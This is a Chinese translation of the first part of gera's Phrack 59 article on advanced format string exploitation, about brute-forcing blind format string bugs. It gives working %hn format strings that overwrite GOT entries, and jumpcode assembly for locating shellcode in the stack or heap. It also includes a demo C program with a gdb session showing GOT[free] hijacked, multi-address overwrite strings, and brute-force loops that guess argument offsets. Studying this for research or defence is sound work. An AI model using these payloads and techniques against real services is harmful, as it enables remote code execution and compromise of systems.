高级format string exploit技术P59-0x07(上)

/ns/hk/crack/data/20020824051518.htm



高级format string exploit技术P59-0x07(上)

原文: <<Advances in format string exploiting>>
by gera <gera@corest.com>, riq <riq@corest.com>
翻译整理by
alert7 < alert7@xfocus.org >
主页: http://www.xfocus.org/ http://www.whitecell.org/
yikaikai < yikaikai@sina.com >

第一部分:暴力破解格式化字符串
第二部分:利用堆(heap)字符串(in SPARC)

|=---------------=[ 第一部分: 暴力破解格式化字符串 ]=---------------=|
|=----------------------=[ gera <gera@corest.com> ]=---------------------=|



1 - 简介
2 - 32*32 == 32 - 使用跳转代码(jumpcodes)
2.1 - 在任何已知地方写入代码
2.2 - 其他地方的代码
2.3 - 没有可用的地址
3 - n倍加快
3.1 - 多地址覆盖
3.2 - 多参数暴力破解
4 - more greets and thanks
5 - References


前言:

本文原由whitecell论坛( http://www.whitecell.org/forums/ )yikaikai翻译的,可惜现在
他没有时间,就交由我来翻译了。不过还是要感谢yikaikai的辛苦翻译的前一段。

本文是讲如何暴力破解format sting的文章。本文讨论的东西使用于类似syslog format string
bug,就是不能利用format string bug得到反馈信息的情况。在可以利用format string bug得到反馈
信息的情况下,我们可以学习得到的信息。从而使我们的exploit更智能。具体请参考pappy@miscmag.com
写的,我翻译的<<如何写远程自动精确定位的format string exploit>>.
本文只是些idea,具体的实现就由你自己来写了.翻译的有点仓促,错误的地方有请各位斧正。

--[ 1. 简介

也许你在寻找关于format strings exploit的文章。你可以先看scut写的一篇很精彩关于
format strings的文章。

这篇文章是关于在使用exploit时可以加快暴力破解format stings时速度的两个小技巧。

"...暴力破解当然不是件快乐的事情,许多exploit的作者都讨厌的东西,人们想方设法的
使用其他方法来代替暴力破解"

感谢所有在这方面有灵感的人们, 特别是{MaXX, dvorak,Scrippie}, scut[], lg(zip)和 lorian+k.


--[ 2. 32*32 == 32 - 使用跳转代码

一个format strings的bug可以使往任何数据写到任何地方。作者把它称为write-anything-anywhere
权限。当你有了write-anything-anywhere权限后,在这,描述了一些方法,比如说利用format string
bug改写strcpy()函数的目的指针,free()函数的参数变量和溢出ret2memcpy缓冲(倒,这个具体指什么?)等等。

Scut[1], shock[2], 和其他一些人阐述了在拥有write-anything-anywhere权限时几种方法
来hook程序的执行流程。例如修改GOT,修改函数指针,修改atexit结构,类的虚拟函数指针等等。当你
想这样做的时候, 你必须知道或者预测出两个不同的地址:函数指针地址和shellcode的地址。 如果你
要盲目的暴力破解的话, 你需要猜测64位。其实也用不了这么多,GOT地址总是开始于0x0804地址,你
的代码总是开始于0x0805...对Linux的确是这样的,所以不是64位, 而是32位。 所以你只需猜测
4,294,967,296次了...你可能想到办法提供4k的nops,这样的话,你就可以每次跳4k,这样就减少到了
1,048,576次。 还有GOT数组每个元素大小是4字节, 剩下了262,144...呵呵,即使是最小的那个
262,144对远程的来说话,还是太大了(对本地的可能还好说点)。

有时候我们可以使用些其他的技术,如果我们有读权限的话我们可以在目标进程读出些东西来学习,
或者把写权限变成读权限,或者使用大量的nops指令,或者使用目标stack,或者只是硬编码地址值。
等等随你高兴使用。

你还可以做更多的事情, 因为你不是被限制只能写4字节, 你可以把你的 shellcode写到任意的
地址去。

其实知道熟悉format strings bug的人都会想到这个---把shellcode写到任意的地址去。
(如果有类试的代码
for (;;)
printf(buf);
)
关于这个我也写过一篇拙作<<绕过libsafe的保护--覆盖_dl_lookup_versioned_symbol技术>>,
其中也展现了一种新的技术--覆盖_dl_lookup_versioned_symbol技术。从此,在控制获得程序控制权
方面又多了种方法。

再总结下几种方法:
1. 覆盖GOT
2. 利用DTORS
3. 利用 C library hooks
4. 利用 atexit 结构(静态编译版本才行)
5. 覆盖函数指针
6. 覆盖jmpbuf's
7. 覆盖dl_lookup_versioned_symbol

其实覆盖dl_lookup_versioned_symbol也是覆盖GOT技术,只不过是ld的GOT


----[ 2.1 在任何已知地方写入代码

只要存在format string bug,你就可以把任何东西写到内存的不同地方 ,所以你可以选择
已知的可写的地址。例如0x8051234,我们可以把代码写在这个地方,然后修改函数指针(GOT,atexit
结构等等)让他们指向它:

GOT[read]: 0x8051234 ; of course using read is just
; an example

0x8051234: shellcode

现在,shellcode的地址是我们指定的,总是0x8051234,因此你只要暴力破解修改
函数指针地址, 在最坏的情况你将暴力破解这15位。这个量也是非常大的。

你利用format string使用这种技术的时候可能不能写一个200字节的shellcode(你可以吗?),
也许你只能写一个30字节的shellcode,也可能你只能写几个字节...所以,我们就需要一个
跳转代码(jumpcode).


----[ 2.2 其他地方的代码

我相信你能够将一些代码放到目标进程的任何地址内存中。假如是这种情况的话,我们就需要
一段跳转代码(jmpcode)来定位shellcode并且跳到那里。做点这个是比较简单的,只需一点小的技术。

如果shellcode在堆栈的某处, 假如当跳转代码执行的时候,你大概知道shellcode离
SP有多远的话,你就可以跳到SP+8或+5字节的地方:

GOT[read]: 0x8051234

0x8051234: add $0x200, %esp ; delta from SP to code
jmp *%esp ; just use esp if you can

esp+0x200: nops... ; just in case delta is
; not really constant
real shellcode ; this is not writen using
; the format string

那么假如shellcode代码在堆(heap)中呢? 你有没有好的想法呢?以下想法来自Kato
(这个版本是18 bytes, Kato's 版本较长一些,他没有使用format string):

GOT[read]: 0x8051234

0x8051234: cld
mov $0x4f54414a,%eax ; so it doesn find
inc %eax ; itself (tx juliano)
mov $0x804fff0, %edi ; is it low enough?
; make it lower
repne scasl
jcxz .-2 ; keep searching!
jmp *$edi ; upper case letters
; are ok opcodes.

somewhere
in heap: KATO ; if you know the alignment

KKATO ; one is enough, otherwise
KKATO ; make some be found
KKATO
real shellcode

假如在stack中,你又不知道它确切在哪里呢?(10bytes)

GOT[read]: 0x8051234

0x8051234: mov $0x4f54414a,%ebx ; so it doesn find
inc %ebx ; itself (tx juliano)
pop %eax //把read的参数pop出来
cmp %ebx, %eax
jnz .-2
jmp *$esp

somewhere
in stack: KATO ; you'll know the alignment
real shellcode

在其他地方呢? OK, 你可以自己构造你的jmpcode代码 :-) 不过要小心, 'KATO'也许不是个
很好构造的string,因为它的执行可能带来些副作用. :-)


--| 友好(friendly)函数 |--

当你修改了GOT,让他指向你的函数,然后就可以做些手脚了。例如,假如你改变了函数指针,
free()函数的参数又指向shellcode的buffer,我们就只需要这样做:(2 bytes)

GOT[free]: 0x8051234 ; using free this time

0x8051234: pop %eax ; discarding real ret addr
ret ; jump to free's argument

同样地有read()和syslog还有一些其他函数...不同的是,可能你需要一些稍微复杂点的跳转代码:
(7 or 10 bytes)
GOT[syslog]: 0x8051234 ; using syslog

0x8051234: pop %eax ; discarding real ret addr
pop %eax
add $0x50, %eax ; skip some non-code bytes
jmp *$eax

如果没有其他的方法可行, 但是你可以区分crash和挂起(hung), 你可以用一个无限循环来使
目标机挂起(hung):你可以暴力破解GOT的地址直到服务器挂起,然后你就知道GOT的正确位置了,
接着就可以暴力破解shellcode的地址了。

GOT[exit]: 0x8051234

0x8051234: jmp . ; infinite loop


----[ 2.3 没有可有的地址

作者不喜欢选用任意的地址,例如0x8051234,他使用了稍微不同的方法

GOT[free]: &GOT[free]+4 ; point it to the next 4 bytes
jumpcode ; address is GOT[free]+4

你不知道GOT[exit]的地址,但是在暴力破解的时候我们假设已经知道,然后使它指向下4个字节。
在那里放置jumpcode.例如,假设GOT[exit]在0x80490994,那么你的跳转代码是0x8049098,
然后你就必须把值0x8049098写入地址0x8049094中。这样的话,当运行exit()的时候就会跳到
0x8049098执行:

/* fstring.c *
* demo program to show format strings techinques *
* specially crafted to feed your brain by gera@corest.com */

int main() {
char buf[1000];

strcpy(buf,
"\x88\x96\x04\x08" // GOT[free]'s address,这是在我的机子上的地址
"\x8a\x96\x04\x08" //
"\x8c\x96\x04\x08" // jumpcode address (2 byte for the demo)
"%.38528u" // complete to 0x968c (0x968c-3*4)
"%4$hn" // write 0x968a to 0x8049688
"%.29048u" // complete to 0x10804 (0x10804-0x968c)
"%5$hn" // write 0x0804 to 0x804968a
"%.47956u" // complete to 0x1c358 (0x1c358-0x10804)
"%6$hn" // write 0xc35b (pop - ret) to 0x804968c
);

printf(buf);
free(buf);//alert7 add
}

[alert7@redhat73 alert7]$ gcc -o fstring fstring.c
[alert7@redhat73 alert7]$ gdb fstring -q
(gdb) br main
Breakpoint 1 at 0x8048479
(gdb) r
Starting program: /home/alert7/fstring
Breakpoint 1, 0x08048479 in main ()
(gdb) disass main
Dump of assembler code for function main:
0x8048470 <main>: push %ebp
0x8048471 <main+1>: mov %esp,%ebp
0x8048473 <main+3>: sub $0x3f8,%esp
0x8048479 <main+9>: sub $0x8,%esp
0x804847c <main+12>: push $0x8048540
0x8048481 <main+17>: lea 0xfffffc08(%ebp),%eax
0x8048487 <main+23>: push %eax
0x8048488 <main+24>: call 0x8048358 <strcpy>
0x804848d <main+29>: add $0x10,%esp
0x8048490 <main+32>: sub $0xc,%esp
0x8048493 <main+35>: lea 0xfffffc08(%ebp),%eax
0x8048499 <main+41>: push %eax
0x804849a <main+42>: call 0x8048338 <printf>
0x804849f <main+47>: add $0x10,%esp
0x80484a2 <main+50>: sub $0xc,%esp
0x80484a5 <main+53>: lea 0xfffffc08(%ebp),%eax
0x80484ab <main+59>: push %eax
0x80484ac <main+60>: call 0x8048348 <free>
0x80484b1 <main+65>: add $0x10,%esp
(gdb) b * 0x80484ac
Breakpoint 2 at 0x80484ac
(gdb) c
...
00000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000
Breakpoint 2, 0x080484ac in main ()
(gdb) x/x 0x8049688
0x8049688 <_GLOBAL_OFFSET_TABLE_+28>: 0x0804968c
(gdb) x/2i 0x0804968c
0x804968c <_GLOBAL_OFFSET_TABLE_+32>: pop %eax
0x804968d <_GLOBAL_OFFSET_TABLE_+33>: ret
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xbffff720 in ?? ()

ok,已经跳到了buf执行了。

一开始作者没有加free(buf),程序里就没有用到free函数,free函数是不会出现在GOT中的。
在例子中,GOT[free]地址是0x8049688, 我们使用 format string bug就把GOT[free]
的值改成了0x0804968c,下次free()被调用时就转到0x0804968c去执行了.

最后一种方法有另一个好处,它不仅可以用于format string---每次写入不同地址,
而且更可以在具有write-anything-anywhere权限的时候使用。就像覆盖strcpy()函数的目的指针
一样或者是一个ret2memcpy的buffer溢出。假如你足够聪明幸运的话,你自己把这技术应用到
单free()bug( free(buf)时候,buf的chunk可又用户控制).


--[ 3. n倍加快

----[ 3.1 - 多地址覆盖

如果你能写的多多于4个bytes的话, 你不仅可以将shellcode或jumpcode放到你想要放
的地方,而且可以在同时改变多个指针,再次加快破解速度。

当然这还需要有write-anything-anywhere权限,这就允许我们一次写不止4bytes。 以下有
种使用format strings的简单方法来把同样的值写到所有的指针。

假设我们使用下面的格式化字符串在0x08049094地址写入0x12345678:

"\x94\x90\x04\x08" // the address to write the first 2 bytes
"AAAA" // space for 2nd %.u
"\x96\x90\x04\x08" // the address for the next 2 bytes
"%08x%08x%08x%08x%08x%08x" // pop 6 arguments
"%.22076u" // complete to 0x5678 (0x5678-4-4-4-6*8)
"%hn" // write 0x5678 to 0x8049094
"%.48060u" // complete to 0x11234 (0x11234-0x5678)
"%hn" // write 0x1234 to 0x8049096

因为%hn不向output string加字符,所以我们能够在不用使用padding的情况下把同一个值
写入几个不同的地方。例如,就象下面的format string,把值0x12345678写入了开始于地址0x8049094
的五个连续地址:

"\x94\x90\x04\x08" // addresses where to write 0x5678
"\x98\x90\x04\x08" //
"\x9c\x90\x04\x08" //
"\xa0\x90\x04\x08" //
"\xa4\x90\x04\x08" //
"AAAA" // space for 2nd %.u
"\x96\x90\x04\x08" // addresses for 0x1234
"\x9a\x90\x04\x08" //
"\x9e\x90\x04\x08" //
"\xa2\x90\x04\x08" //
"\xa6\x90\x04\x08" //
"%08x%08x%08x%08x%08x%08x" // pop 6 arguments
"%.22044u" // complete to 0x5678: 0x5678-(5+1+5)*4-6*8
"%hn" // write 0x5678 to 0x8049094
"%hn" // write 0x5678 to 0x8049098
"%hn" // write 0x5678 to 0x804909c
"%hn" // write 0x5678 to 0x80490a0
"%hn" // write 0x5678 to 0x80490a4
"%.48060u" // complete to 0x11234 (0x11234-0x5678)
"%hn" // write 0x1234 to 0x8049096
"%hn" // write 0x1234 to 0x804909a
"%hn" // write 0x1234 to 0x804909e
"%hn" // write 0x1234 to 0x80490a2
"%hn" // write 0x1234 to 0x80490a6

或者等同于使用$的情况

"\x94\x90\x04\x08" // addresses where to write 0x5678
"\x98\x90\x04\x08" //
"\x9c\x90\x04\x08" //
"\xa0\x90\x04\x08" //
"\xa4\x90\x04\x08" //
"\x96\x90\x04\x08" // addresses for 0x1234
"\x9a\x90\x04\x08" //
"\x9e\x90\x04\x08" //
"\xa2\x90\x04\x08" //
"\xa6\x90\x04\x08" //
"%.22096u" // complete to 0x5678 (0x5678-5*4-5*4)
"%8$hn" // write 0x5678 to 0x8049094
"%9$hn" // write 0x5678 to 0x8049098
"%10$hn" // write 0x5678 to 0x804909c
"%11$hn" // write 0x5678 to 0x80490a0
"%12$hn" // write 0x5678 to 0x80490a4
"%.48060u" // complete to 0x11234 (0x11234-0x5678)
"%13$hn" // write 0x1234 to 0x8049096
"%14$hn" // write 0x1234 to 0x804909a
"%15$hn" // write 0x1234 to 0x804909e
"%16$hn" // write 0x1234 to 0x80490a2
"%17$hn" // write 0x1234 to 0x80490a6

这个例子中,一次改写了五个“函数指针”,当然也可以改写更多。真正的限制是你能提供多长的字符串,
假如你不直接使用参数(就是不使用$hn情况)的话,你还要考虑为了得到要写的地址,你需要确定pop多少个参数。
一般直接使用参数访问是有限制(Solaris's 库是30, 有些Linuxes 是400, 也许还有其他的值)。

如果你想将jumpcode和多地址覆盖技术结合起来的话,你必须记住跳转代码(jumpcode)不是在
函数指针的后面的4个bytes, 而是更远, 这起决于你想一次覆盖多少个地址。


----[ 3.2 - 多参数暴力破解

有时候你不知道需要pop多少个参数,或者使用$hn的时候你不知道需要直接跳多少参数,所以你需要尝试直到
得到正确的数值. 有些时候我们没有更好的方法, 特别是在非盲目暴力破解format string bug的时候。
但是无论如何, 你可能会碰到不知道要pop多少个参数的情况,我们可以使用下面这个例子把它找出来。

pops = 8
worked = 0
while (not worked):
fstring = "\x94\x90\x04\x08" # GOT[free]'s address
fstring += "\x96\x90\x04\x08" #
fstring += "\x98\x90\x04\x08" # jumpcode address
fstring += "%.37004u" # complete to 0x9098
fstring += "%%%d$hn" % pops # write 0x9098 to 0x8049094
fstring += "%.30572u" # complete to 0x10804
fstring += "%%%d$hn" % (pops+1) # write 0x0804 to 0x8049096
fstring += "%.47956u" # complete to 0x1c358
fstring += "%%%d$hn" % (pops+2) # write (pop - ret) to 0x8049098
worked = try_with(fstring)
pops += 1

这个例子中, 我们使用递增变量'pops'方法来找到合适的值(使用直接参数访问)。假如我们重复多次
使用目标地址,我们就可以使pops变量增长的更快。例如,我们可以重复每个地址5次,这样我们就可以
加快暴力破解的速度了。

pops = 8
worked = 0
while (not worked):
fstring = "\x94\x90\x04\x08" * 5 # GOT[free]'s address
fstring += "\x96\x90\x04\x08" * 5 # repeat eddress 5 times
fstring += "\x98\x90\x04\x08" * 5 # jumpcode address
fstring += "%.37004u" # complete to 0x9098
fstring += "%%%d$hn" % pops # write 0x9098 to 0x8049094
fstring += "%.30572u" # complete to 0x10804
fstring += "%%%d$hn" % (pops+6) # write 0x0804 to 0x8049096
fstring += "%.47956u" # complete to 0x1c358
fstring += "%%%d$hn" % (pops+11) # write (pop - ret) to 0x8049098
worked = try_with(fstring)
pops += 5

找到5个中任何一个随机的拷贝就可以了, 越多的拷贝速度越快

这是一个简单的想法,只是重复覆盖地址。如果你有什么疑问,可以用笔和纸画画计算下,
先画出放有format string的stack,再把一些随机参数放在堆栈顶,然后手动开始暴力破解...

这看起来很傻但也许有天会帮上你, 你永远不可能知道。 当然了, 不直接参数访问
也可以同样做到。但是比较复杂了,因为每次你必须要重新计算%.u的长度。

--[ 未命名和未列出的部分

通过这篇文章, 我的观点是:format string可以做到的比具有4-bytes-write-anything-anywhere
权限的多,它是可以把任意多的字节写到任何地址(也就是说具有full write-anything-anywhre权限),
这会给我们更多的可能。

好了,文章就写到这里,剩下的就由你来完成了。


--[ 4. more greets and thanks

riq, for trying every stupid idea I have and making it real!

juliano, for being our format strings guru.

Impact, for forcing me to spend time thinking about all theese amazing
things.

--[ 5. references

[1] Exploiting Format String Vulnerability, scut's.
March 2001. http://www.team-teso.net/articles/formatstring

[2] w00w00 on Heap Overflows, Matt Conover (shok) and w00w00 Security Team.
January 1999. http://www.w00w00.org/articles.html

[3] Juliano's badc0ded
http://community.corest.com/~juliano

[4] Google the oracle.
http://www.google.com